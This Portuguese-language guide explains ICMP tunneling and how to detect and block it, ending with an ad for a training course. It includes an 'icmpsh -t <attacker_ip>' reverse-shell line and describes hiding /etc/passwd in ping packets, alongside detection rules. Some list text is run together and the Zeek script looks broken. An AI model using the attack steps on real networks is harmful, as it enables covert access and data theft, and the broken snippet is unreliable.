
O túnel ICMP, às vezes chamado de "ataques encobertos baseados em ping", é uma técnica de ataque de rede furtiva onde atores mal-intencionados escondem tráfego de comando e controle (C2) ou atividades de exfiltração de dados em pacotes do Protocolo de Mensagem de Controle da Internet (ICMP) que, de outra forma, seriam inofensivos. Como o ICMP—conhecido comumente por requisições ping—geralmente passa despercebido por firewalls e sistemas de detecção de intrusão, ele apresenta um sério desafio para as equipes de segurança de TI.
Neste guia, explicaremos o que é o túnel ICMP, como os atacantes o implementam, por que é um método atraente de evasão e, mais importante, como profissionais de segurança e administradores de rede podem detectar e se defender contra ataques de túnel ICMP. Iremos desde explicações para iniciantes até a detecção avançada, incluindo exemplos do mundo real e amostras de código para escanear, monitorar e analisar o tráfego de rede em busca de atividade de túnel ICMP.
O Protocolo de Mensagem de Controle da Internet (ICMP) é uma parte fundamental do Conjunto de Protocolos da Internet. Ele é projetado para mensagens de erro, diagnósticos de rede e mensagens de status.
Fatos Chave:
ping), Destino Inalcançável, Tempo Excedido, entre outros.ping, traceroute), relatórios de erro entre dispositivos de rede.Quando você emite:
ping google.com
Seu computador gera uma série de pacotes ICMP de Requisição de Eco, e o Google (se permite ping) responde com pacotes ICMP de Resposta de Eco.
Túnel ICMP é uma técnica que encapsula dados de carga útil arbitrários dentro de pacotes ICMP. Esses dados podem incluir arquivos sendo exfiltrados, comandos de shell, ou até mesmo uma conexão TCP inteira, tudo escondido dentro de requisições ou respostas de ping que parecem normais.
Porque as organizações frequentemente permitem o tráfego ICMP através de seus firewalls perimetrais (para fins legítimos de solução de problemas), os atacantes exploram essa confiança para passar dados ocultos ou criar backdoors em uma rede.
Definição:
O túnel ICMP é um método de comunicação encoberto onde atacantes codificam dados maliciosos ou não autorizados dentro de pacotes ICMP para burlar controles de acesso de rede.
O túnel ICMP aproveita a estrutura dos pacotes ICMP—especialmente a Requisição/Resposta de Eco—para transportar dados extras e ocultos.
icmpsh, ptunnel, ou scripts personalizados.Um pacote normal de Requisição de Eco ICMP pode parecer com:
| Campo | Valor de Exemplo |
|---|---|
| Tipo | 8 (Requisição de Eco) |
| Código | 0 |
| Checksum | 6920 |
| Identificador | 13 |
| Número de Sequência | 250 |
| Dados | "Hello, world!" |
Um ataque de tunelamento ICMP pode colocar dados exfiltrados codificados em base64 na seção "Dados".
Firewalls normalmente bloqueiam conexões externas diretas (por exemplo, SSH de saída, exfiltração através de HTTP/S).
No entanto, o ICMP é frequentemente liberado para habilitar solução de problemas de rede, mesmo através de fronteiras organizacionais.
Atores de ameaça persistente avançada (APT) usam túneis ICMP para gerenciar hosts comprometidos, enviar comandos e extrair arquivos—tudo sem gerar alertas típicos de rede.
Um conjunto de ferramentas de segurança ofensiva de código aberto suportam tunelamento ICMP:
Uma ameaça interna ou malware em uma estação de trabalho deseja contrabandear arquivos sensíveis para fora da organização.
Passos:
/etc/passwd) são divididos, codificados, e ocultos dentro de múltiplas Requisições de Eco.Testadores de penetração e atacantes implantam ferramentas como o icmpsh:
icmpsh -t <attacker_ip>.Relatos surgiram de APTs e malware (notavelmente Backdoor.Win32.ICMPdoor) alavancando o tunelamento ICMP para acesso persistente em ambientes de alta segurança que, de outra forma, bloqueiam todas as saídas exceto HTTP/HTTPS—e ICMP.
A detecção de tunelamento ICMP depende da identificação de padrões anômalos ou inspeção das cargas úteis de pacotes ICMP.
Uma ferramenta de captura de pacotes frequentemente usada para inspecionar tráfego ICMP.
# Capture todo o tráfego ICMP, saída verbose
sudo tcpdump -n -v icmp
Saída suspeita de amostra (truncada):
IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024
Nota: 1024 bytes é muito maior que cargas úteis normais de ping ICMP!
Um analisador gráfico de pacotes.
icmpUma ferramenta poderosa de monitoramento de segurança de rede com scripting ICMP embutido.
Script para registrar cargas úteis ICMP anormais:
event icmp_message(c: connection, icmp: icmp_hdr)
{
if ( c$id$orig_h !in Site::internal_networks )
{
# Logar ou alertar sobre grandes cargas úteis
if ( c$payload && |c$payload| > 500 )
local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
}
}
Exemplo de Bash: Registre todas as cargas úteis de ping de saída.
sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"
Exemplo de Python: Analise pcap em busca de cargas úteis ICMP anormais
from scapy.all import *
def scan_icmp_pcap(pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP):
if len(pkt[ICMP].payload) > 100:
print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")
scan_icmp_pcap('capture.pcap')
Para caçar proativamente uso indevido de túnel ICMP, escaneamentos regulares e detecção de anomalias são vitais.
Use ferramentas como ELK stack, Zeek, Wireshark para:
Encontre os maiores pacotes ICMP em tempo real:
sudo tcpdump -ni eth0 icmp and greater 200
Liste tamanhos de pacotes do dump:
sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr
Python Scapy: Reportar requisições de eco com cargas grandes
from scapy.all import *
def detect_large_icmp(pcap_file):
for pkt in rdpcap(pcap_file):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if len(pkt[ICMP].payload) > 200:
print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")
Exemplo: Bloquear ICMP de saída com iptables
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP
Exemplo de Regra Snort:
alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)
Pesquisas mostram que o monitoramento stateless—rastreamento de fluxos e tamanhos de pacotes ICMP, não apenas seu estado ou sequência—pode ser uma maneira de baixo impacto e escalável para detectar tunelamento.
De acordo com Singh & Nordström, modelos stateless podem sinalizar efetivamente canais encobertos sem impactar significativamente hosts finais ou roteadores—even em escala.
O tunelamento ICMP representa uma ameaça baixa e lenta que se mistura perfeitamente com operações de rede legítimas, tornando a detecção e defesa um desafio para as equipes de segurança. Com o uso generalizado do ICMP para diagnósticos e a frequência com que as organizações permitem tal tráfego através de seus firewalls, ele é um veículo preferido para atacantes que estabelecem comando e controle encobertos, exfiltram dados sensíveis, ou acessam hosts comprometidos.
Ao estabelecer a linha de base da atividade legítima de ICMP de sua rede e empregar detecção baseada em assinatura e anomalia, sua organização pode neutralizar esse vetor de ameaça furtivo antes que ele resulte em perda de dados ou compromisso adicional.
Proteja seu perímetro—e nunca subestime o humilde ping!
Se você achou este conteúdo valioso, imagine o que você poderia alcançar com nosso programa de treinamento de elite abrangente de 47 semanas. Junte-se a mais de 1.200 alunos que transformaram suas carreiras com as técnicas da Unidade 8200.